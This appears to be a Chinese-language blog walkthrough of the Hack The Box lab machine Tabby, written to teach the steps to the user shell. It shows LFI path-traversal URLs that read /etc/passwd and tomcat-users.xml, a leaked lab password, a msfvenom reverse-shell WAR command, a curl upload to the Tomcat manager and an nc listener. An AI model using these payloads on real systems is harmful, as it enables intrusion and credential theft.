Hack The Box 机器实战:Tabby 用户权限获取全攻略

欢迎来到本次的渗透测试实战分享!今天,我们将一起攻克 Hack The Box 上的一台经典 Linux 机器 —— Tabby。对于刚踏入网络安全领域的你来说,这台机器是一个绝佳的练手对象,因为它涵盖了许多 Web 渗透中的核心技能:从端口扫描、服务枚举,到 Web 漏洞利用(LFI),再到最终的后渗透技术。

在这篇文章中,我将像朋友一样带你一步步走过攻击全过程。不仅会告诉你“怎么做”,还会深入讲解“为什么这么做”。我们的目标是获取 User Flag,但在这一路上,我们还将学会如何利用 Tomcat 管理界面来部署恶意应用程序。无论你是为了考证还是为了提升实战技能,这篇指南都能为你提供扎实的理论基础和实操经验。

渗透测试前的准备与环境感知

在正式发起攻击之前,我们首先要做的是建立对目标环境的全面认知。这就好比在进攻前要先侦察地形一样。

第一步:端口扫描与信息收集

当我们拿到目标 IP(在本例中假设为 10.10.10.194,实际上你应该根据你当前连接的 HTB VIP 进行替换)时,第一反应永远是:“这台机器上运行了什么服务?”

我们将使用业界标准的扫描工具 Nmap 来进行探测。为了获取更详细的信息,我会启用版本探测(INLINECODE4ea9288d)和默认脚本扫描(INLINECODEd8e601ee)。

# 使用 Nmap 扫描目标主机的开放端口和服务版本
# -sV: 探测服务版本信息
# -sC: 使用默认的 Nmap 脚本进行扫描
nmap -sV -sC 10.10.10.194

等待扫描完成后,我们通常会看到类似以下的输出结果(具体输出可能会随环境变化而变化,但核心服务不变):

  • 22 端口:运行着 OpenSSH。这通常是我们获取 Shell 后的入口,但在获取凭据前很难直接利用。
  • 80 端口:运行着 Apache httpd。这是我们的主要突破口。
  • 8080 端口:运行着 Apache Tomcat。这是一个非常重要的线索,Tomcat 默认的管理端口往往是 8080。

深入 Web 应用:发现本地文件包含漏洞 (LFI)

第二步:浏览器手动探测

既然 80 端口运行着 Web 服务,让我们打开浏览器访问 http://10.10.10.194

在浏览主页时,我们要养成“点点点”的习惯。查看页面源代码、点击导航栏的每一个链接,观察 URL 的变化。在这个过程中,你会发现点击 News 导航项时,URL 发生了变化,指向了类似这样的地址:

http://megahosting.htb/news.php?file=statement

这里有个关键点:URL 中包含了一个参数 INLINECODE2c0edd8a,其值为 INLINECODEf211c366。作为一个经验丰富的渗透测试人员,看到 file 这样的参数名,脑海中应该立刻闪过一个念头 —— 本地文件包含(LFI)

第三步:验证与利用 LFI 漏洞

LFI 漏洞允许攻击者通过浏览器包含服务器上的文件。为了验证这个漏洞,我们通常会尝试读取 Linux 系统中众所周知存在的文件 —— /etc/passwd。这个文件包含了系统用户的基本信息。

我们可以尝试构造 Payload,使用 ../ 来进行目录遍历,试图跳转到根目录。

Payload 构造思路:

当前的路径可能是 /var/www/html/ 或者其他位置,我们需要不断回退。构造如下 URL:

http://10.10.10.194/news.php?file=../../../../etc/passwd

> 技术小贴士: 为什么使用 INLINECODE3a167c07?这是为了确保无论当前脚本在服务器的哪一级目录下,我们都能通过多次“上一级目录”最终到达根目录 INLINECODE08a59289,然后再进入 /etc/passwd

如果在浏览器中访问该 URL 并看到了类似 root:x:0:0:root:/root:/bin/bash... 的文本内容,恭喜你,LFI 漏洞确认存在!这意味我们可以读取服务器上的任意文件(前提是 Web 服务用户有权限读取)。

攻击 8080 端口:Tomcat 管理界面的突破

虽然确认了 LFI,但读取 /etc/passwd 并不能直接给我们一个 Shell。此时,我们需要把目光转向 Nmap 扫描中发现的另一个端口 —— 8080

第四步:分析 Tomcat 服务

在浏览器中访问 http://10.10.10.194:8080。你会看到 Apache Tomcat 的默认页面或管理界面入口。通常情况下,Tomcat 提供了两个关键的管理应用:

  • Tomcat Manager App:用于管理部署的应用程序。
  • Tomcat Host Manager:用于管理虚拟主机。

当我们尝试点击这些链接时,服务器弹出了 HTTP Basic Authentication 认证框,要求输入用户名和密码。此时,我们陷入了僵局:我们需要密码,但我们还没有。

第五步:结合 LFI 获取凭据

这就到了考验我们“联想能力”的时刻了。既然 80 端口有 LFI 漏洞,而 8080 端口是 Tomcat 服务,我们能不能利用 LFI 漏洞去读取 Tomcat 的配置文件呢?

Tomcat 的用户配置文件通常位于 INLINECODEac4aafe6。不同的 Linux 发行版安装路径可能不同,但在基于 Debian 的系统(HTB 常用)中,配置文件可能位于 INLINECODE2c3b2ee9 或 /usr/share/tomcat9/etc/

让我们尝试利用 LFI 读取这个配置文件。构造如下 URL:

http://10.10.10.194/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml

(注意:这里多用了几个 ../ 是为了确保路径穿透的深度足够。)

这里有一个常见的坑: 当你访问这个链接时,浏览器可能显示一片空白。千万不要以为文件不存在就直接放弃!XML 文件在浏览器中默认可能不渲染内容。请务必查看页面源代码(右键 -> 查看网页源代码)

在源代码中,你将清晰地看到管理员的凭据:


我们成功获取了:

  • Username: tomcat
  • Password: $3cureP4s5w0rd123!

获取 Shell:War 文件部署实战

有了凭据,我们现在就可以大摇大摆地登录 8080 端口的 Tomcat Manager App 了。

第六步:生成反向 Shell Payload

要在服务器上执行命令,我们需要上传一个带有恶意代码的 Web 应用程序。Tomcat 支持 INLINECODE55e837a6 (Web Application Archive) 文件部署。我们可以使用 Metasploit 框架自带的 INLINECODEe3146e36 工具来生成一个包含 JSP 反向 Shell 的 War 包。

在攻击机上打开终端,执行以下命令:

# 使用 msfvenom 生成 JSP 反向 Shell War 包
# -p: 指定 Payload 类型 (java/jsp_shell_reverse_tcp)
# LHOST: 填写你的 HTB 攻击机 IP (通常在连接页面左上角显示)
# LPORT: 监听端口,通常选 4444
# -f: 输出格式为 war
# > shell.war: 将生成的文件保存为 shell.war
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4444 -f war > shell.war

第七步:部署 War 文件

回到 Tomcat Manager 的登录页面,输入刚才获取的用户名和密码。登录成功后,你会看到一个“WAR file to deploy”的区域,或者是可以直接上传文件的表格。

这里有两种方法部署:

  • Web 界面上传:直接点击“选择文件”,上传刚才生成的 shell.war,然后点击“Deploy”。
  • 命令行上传:为了显得更“极客”和自动化,我们可以使用 curl 命令来上传。这在编写自动化脚本时非常有用。
# 使用 curl 将本地的 shell.war 部署到远程服务器的 /shell 路径
# -u: 指定认证用户名和密码
# -T: 指定要上传的本地文件
curl -u ‘tomcat‘:‘$3cureP4s5w0rd123!‘ -T shell.war "http://10.10.10.194:8080/manager/text/deploy?path=/shell"

第八步:建立连接

文件上传并部署成功后,Tomcat 会自动解压 War 文件并创建相应的应用上下文。我们需要在攻击机上开启监听,然后触发 Shell。

  • 开启监听:在攻击机终端输入 nc -lvnp 4444
  • 触发 Shell:在浏览器中访问 http://10.10.10.194:8080/shell/

如果你看到浏览器一直在转圈加载,不要担心,这正是 Shell 正在连接回我们的表现。回到你的终端,你应该已经看到了一个连接成功的会话!

# 监听成功后的典型输出
listening on [any] 4444 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.194] 46252

此时,你拥有的是 tomcat 用户的权限。虽然还不是 root,但这已经足够让我们去寻找 User Flag 了。

总结与进阶思考

通过这次对 Tabby 机器的实战演练,我们完整地走了一遍渗透测试的标准流程:

  • 信息收集:发现 Web 服务和 Tomcat 服务。
  • 漏洞发现:通过 URL 参数判断出 LFI 漏洞。
  • 漏洞利用:利用 LFI 读取敏感配置文件,获取 Tomcat 凭据。
  • 权限提升/维持:利用合法凭据登录后台,上传恶意 War 包获取 Shell。

给初学者的建议:

  • 不要忽视源代码:在 Web 渗透中,浏览器显示的空白页面可能隐藏着巨大的信息,查看源代码是必修课。
  • 工具的灵活性curl 是一个非常强大的工具,学会使用它进行认证和文件上传,能让你在没有图形界面的环境下依然游刃有余。
  • 路径猜测:当遇到 LFI 时,如果不知道配置文件的路径,可以尝试搜索常见的软件默认安装路径(如 INLINECODE15482a0d, INLINECODEc65a191d 等)。

现在,你已经拿到了初步的 Shell 权限。接下来,你应该尝试在系统中枚举文件,寻找属于 INLINECODEb3c70ef4 用户的 flag 文件。通常,这些文件位于 INLINECODE76f36d82 或 /var/www/ 等目录下。祝你在 Hack The Box 的探索之旅愉快!

希望这篇详细的 Walkthrough 能帮助你理解每一个步骤背后的原理。如果你在操作过程中遇到了端口不通、Shell 掉线等问题,不妨检查一下 HTB 的 VPN 连接状态,或者尝试使用其他类型的 Payload(如 INLINECODE8b585bf1 有时会被防火墙拦截,可以尝试 INLINECODE71b4bd15 类型的 payload)。

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。如需转载,请注明文章出处豆丁博客和来源网址。https://shluqu.cn/28041.html
点赞
0.00 平均评分 (0% 分数) - 0